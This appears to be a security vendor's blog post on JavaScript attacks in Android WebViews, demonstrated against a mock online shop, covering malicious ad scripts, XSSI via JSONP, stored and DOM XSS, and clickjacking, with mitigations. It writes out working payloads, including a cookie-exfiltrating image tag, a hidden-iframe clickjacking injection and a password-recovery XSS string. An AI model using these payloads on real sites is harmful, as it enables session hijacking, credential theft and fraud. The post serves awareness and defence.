Forrester Report: Why to automate AppSec now.

JavaScript Attacks in WebViews

JavaScript is widely used due to its outstanding functionality. Its presence in a website can solve many problems, however it can also introduce critical security issues. It is this very compromise that has to be carefully analyzed in the decision of allowing or not allowing JavaScript to be executed in WebView.

This is part two of a four-part series. Click for part 1part 3, and part 4.  

Some of the most aggressive JavaScript attacks will be presented in this blog post for awareness; with development teams in mind and as a contribution to the safe code propagation.



jsblog1To exemplify the attacks described in this blog post, an online store was created. It only presents a login form, some articles for sale, and ads. It uses a (modified) HTML template from It is then called from an Android application inside a WebView.


Two fake domains were used: and In real scenarios, these domains would never be chosen, they are just used in this post for a clear distinction between the victim and an attacker.





There is often the need to use third party JavaScript code. The source of this code must be carefully analyzed and, if possible, the code itself should be revised as well. Otherwise, our website can execute malicious code without our knowledge.


Taking the previous website example (the shop), advertisements are being presented in an attempt to increase profit. This is a very typical situation and is usually implemented including JavaScript from an ad company. In this case, the green banner that says ‘buy now the super amazing brand’ is produced by the following piece of code:


The ads.js file has the following content:



Third-party JavaScript has access to the DOM because it is loaded in the victim’s webpage, just like local JavaScript would. So, malicious JavaScript code can access sensitive data. Take the following example: “<img src=’” + url + “/ads/ads.png’ width=’600’ height=’80’/><img src=’” + url + “/” + document.cookie + “’ width=’0’ height=’0’/>”.


The code shown above is able to read user cookies and send them to an attacker. To make the evilness of this code less obvious, an attacker can choose several ways to encode the malicious part. If the victim visualizes the previous JavaScript content with some encoding; before including it in the page, he/she will probably not understand the malicious part and believe that the code is legit:






When the page loads the previously referred malicious code, everything seems exactly the same as before but in reality, the attacker is able to view the users’ SessionKeys. The attacker just has to look at the attacking web server logs:


The attacker can now hijack all user sessions, and this is far from being the only possible attack.


A part from this scenario where the page owner includes the malicious code, another common situation for this kind of attack is hostile subdomain takeover.


In the previous example, an iframe can be used to block access to the DOM. To achieve this, the “.js” file from the previous example was converted into the following “.html”:


The following change was made in the shop HTML code:


When the web page is loaded the design looks exactly the same as before although the previous attack doesn’t work anymore:


Notice that the requester has changed from “” to “”. As it is being called inside an iframe, it behaves like a completely different page. However, both pages are being loaded in the same browser and the attacker can still take advantage of this to use the user’s sessions for accessing restricted content. This scenario will be discussed later in this blog post.




Nowadays, all browsers implement the Same-Origin Policy (SOP) and this mechanism blocks replies from domains that are accessed from different domains. As seen in the previous example, if the attacker tried to access the parent page with “parent.document” this access would be denied by SOP because the page loaded in the iframe is in a different domain than the parent’s domain. Despite of this, there are tags that are allowed by the SOP to be called from different domains, for instance:

  • <script src=”…”></script>
  • <link rel=”stylesheet” href=”…”>
  • <img>
  • <video>
  • <audio>
  • <object>
  • <embed>
  • <applet>
  • <frame>
  • <iframe>


When accessing content from the online shop using the tags described above, the browser will allow the reply and will also send the respective cookies in the request; even if the requester is the malicious code that is running inside the iframe.


The online shop is using JSONP to consult the server for the client personal data, and it places some of this data in the HTML code for future use in the front-end. This was implemented using the following PHP code:


This code is returning text that is interpreted automatically by the browser as JavaScript. The “getUserData” is a function that exists in the shop web page:


The attacker can inject malicious code that will call the PHP function. As the malicious code is being loaded inside an iframe it can’t access the DOM and use the “getUserData” JavaScript function. But as the content of the iframe is treated as a different page, the attacker can create an evil “getUserData”, like the following:



This code is actually exfiltrating all the information that is being replied by the PHP function, which includes the SessionKeys. To better understand this behavior, the page was loaded and the HTTP traffic was collected. Some of the traffic is shown next and demonstrates that the cookie is being sent and the SOP had no action in the request:


Once again, the attacker can obtain all the client’s session information by consulting the attacking web server logs:


This attack is known as Cross-Site Script Inclusion (XSSI). The main difference between XSSI and Cross-Site Scripting (XSS) is that in XSSI, the malicious code is placed in third party web content, whereas in XSS the malicious code is placed in the victim’s web site. The main purpose of XSSI is to exfiltrate data and it is often seen in malicious web pages that serve illegal content.


In conclusion, using JSONP is bad practice because it makes the web page lose protection from the SOP. Another point worth mentioning is that if a Cross-Origin Resource Sharing (CORS) mechanism is implemented, it must be properly customized to prevent this kind of attack. To increase protection when using iframes, it is advised to explore the sandbox property and implement a Content Security Policy (CSP).




Lack of input validation can lead to Cross-site Scripting (XSS), SQL injection, Remote Command Execution, etc. When discussing JavaScript attacks, XSS is the main concern. XSS tends to be assumed by many as harmless, however that is a completely wrong assumption. Perhaps this idea comes from the fact that XSS vulnerabilities are very common, but because they are common by no means does it mean that they are harmless. On the contrary, they can lead to Denial of Service (DoS), data exfiltration, content manipulation, Cross-site Request Forgery (CSRF), site redirection and buffer overflows.


These attacks consist of injecting HTML and JavaScript code into a web page. That being said, and knowing that HTML and JavaScript are executed client-side (in the WebView), it is clear that the target will be the website’s user and not the web server.


The injection has to be made via an input, whether it is text input, file upload, HTTP header, etc., any kind of data that is somehow crafted and will be executed by the browser.


There are three types of XSS: Stored, Reflected and DOM Based. The key definition to the attack is sending malicious code in the request that will be executed by the browser when it gets the response from the server. If the code is sent in the request and the server places that code in the content of the page that is replied to the client, it is a scenario of Stored or Reflected XSS. If the malicious code was saved in the server side it is Stored XSS. On the other hand, if the code is only reflected in the response from the server it is Reflected XSS.


Dom Based XSS is less known and its concept is mainly the same as the other two types. The difference is that the server doesn’t place the malicious code in the page. The server receives the malicious code similarly to a Reflected XSS but doesn’t reflects it in the answer. It is the DOM that includes the malicious code, and that happens in the client side.


All these attacks are triggered due to lack of validation. Validation should be done in the input and the output as well. The most effective validation is by whitelisting, but that is only possible in scenarios where the data can only be part a limited set of values. When this is not possible, escaping (encoding) and sanitization (filtering) libraries must be used to prevent malicious code from being stored or executed.


Other security measures can be implemented to prevent XSS. For example, the measures include defining the HTTPOnly cookie flag, implementing CSP and the X-XSS-Protection header.


Taking the previous online shop example, it was implemented a section that shows the name of the clients that are active in the website. When these clients log in, their name appears in this section and remains there until their session is closed or expire.


When a user registers for the first time, there is no input validation in the name field. So, if a user places malicious code after the name, it will be saved in the database. Worse is the fact that every time that the name is printed in WebView, the malicious code will be executed.


In the following image, you can see the active users section where the user “Bill Moore” placed malicious code after his name. Notice that the malicious code isn’t visible when the page loads in WebView. For better understanding, JavaScript was temporarily disabled in the WebView:


Capturing the HTTP response traffic in the webserver is possible to see the evil code placed by the attacker and is being sent to all clients that access the website:


The code calls the JavaScript function “logout()” that already exists in the page. This is considered a DoS attack because it will deny users to buy products. It is also considered CSRF attack because an action is triggered in the victim’s behalf without his/her knowledge and without the need of interaction. JavaScript was re-enabled in the WebView and when the code is loaded this dialog is shown to the client:


And with this successful attack, no user is able to login to the online shop resulting in a huge amount of profit loss. As mentioned before, much worse scenarios are found in the wild. XSS must not be underestimated and the best way to mitigate it is validate all input and output.




To discuss the clickjacking attack, the previous Stored XSS vulnerability in the online shop was used. This attack allows to beat the SOP and the Anti-CSRF tokens. It consists of loading a legitimate webpage inside an iframe and loading it inside a second website. By using the “opacity” property, it is possible to completely hide the iframed page and fool the user to click on it instead of the website that is showing in the browser.


Taking the previous example of the online shop, it was possible to inject code in the user name. This code was then loaded by every user that visited the page. To trigger the Stored XSS vulnerability, instead of the DoS attack referred before, the following code was introduced in the username field: Bill Moore<iframe src=”” frameBorder=”0″ scrolling=”no” style=”opacity:0; display:block; position:fixed; top:60px; left:-150px; height:400px;”/>.


The URL is a website that allows to donate money to causes, companies, associations or individuals. In this case, the “someguy.html” page will allow to donate to a specific individual and it looks like the following:


When one of the buttons is clicked, the donation is completed and the following page is shown:


The victim of the online shop is also a user of this donations website and has the session open. Many users don’t close their sessions and that is why a short expiration time in cookies is important.


Returning to the online shop post-XSS attack, it looks harmless as before:


To better understand what is happening, a second screenshot was taken having the opacity of the previously referred iframe (where the donations site is loaded) set to 1. This way it is possible to visualize both pages and that a donate button is over the search box of the online shop:


When a user presses the search box in the online shop he/she is actually donating money to an attacker. Keeping the opacity value set to 1 it is possible to see the result:


When replaying the attack with the opacity set to 0, nothing seems suspicious to the victim. The only abnormal behavior is that the search box seems to be malfunctioning:


This is a very powerful attack and in order to stop it, the donation-website should use CSP or the X-Frame-Options header, to not allow it to be loaded within an iframe. Another security measure would be a programmatic validation to check whether the page is being loaded inside an iframe and stop execution in those situations. A confirmation prompt could also be used to stop this clickjacking attack. All these security measures have to be taken in the site loaded inside the iframe, as that is where the clickjacking is happening. In this example, the online shop is only a website with a stored XSS vulnerability.




In terms of XSS, “Stored” is usually the most dangerous and a full example was shown earlier in this post. The Reflected and DOM XSS are very difficult to explore in WebView because of the XSS auditor that is implemented by default and blocks all the XSS code that it identifies.


The XSS auditor is a built-in function of Chrome and Safari and compares the HTTP request with the server reply. Therefore, it is able to identify potentially dangerous code in the request and match it with the content of the response. When this happens, its default behavior is to block the JavaScript code from executing and load the rest of the page normally. This default behavior can be changed with the header X-XSS-Protection, by setting it to “0” (disables auditor) or setting it to “1” in conjunction with the keywords block or report (displays a blank page).

As explained before, the auditor is based on blacklisting and has been improved over the years. But as it compares the malicious blacklisted content with the reply content it doesn’t work so well with DOM XSS scenarios.


As an example, the previously referred online shop has a DOM XSS vulnerability present in the page code:


The “getParameterByName” method is a JavaScript function included in the page to extract parameters from the URL. This allows the previous search to appear in the page, under the search box, which can be valuable to the user:


The word “test” shows on the screen and it is the last search made. But this new functionality can also allow attackers to deliver XSS attacks. If an attacker places malicious code in the search box, he is affecting only himself. Therefore, the attacker has to make the victim click a link containing malicious code or to convince a victim to place the malicious code in their own search boxes. And that is more easy then it sounds.


The attacker conducted a phishing campaign with a well-crafted email pretending to be sent from the online shop advertising special offers to the users who place the following code in their search boxes: “<svg onload=`<script`-recoverPassword(‘’)”.


The “recoverPassword” function mentioned in the malicious script is calling a very helpful server-side method that sends the user’s password to a given email address. This is useful to users that want to login in a different device but forgot the password. They can take advantage of their valid session (that doesn’t expire) and retrieve the password in the email, without the need to reset it. The function is protected by the authenticity of the session, therefore it appears harmless. But in fact, it allows CSRF attacks and in this case, it is being used by the attacker to steal the user’s credentials:


The previous image shows the result of the copy paste made by the victims. This scenario is also very common using links in the format “”, instead of asking the user to copy paste the malicious code.


In conclusion, be afraid of JavaScript. Such as it is referred to in the beginning of this blog post – it is a very powerful option but it can also cause a lot of damage.



This is part two of a three-part series. Click for part 1 and part 3


Jump to Category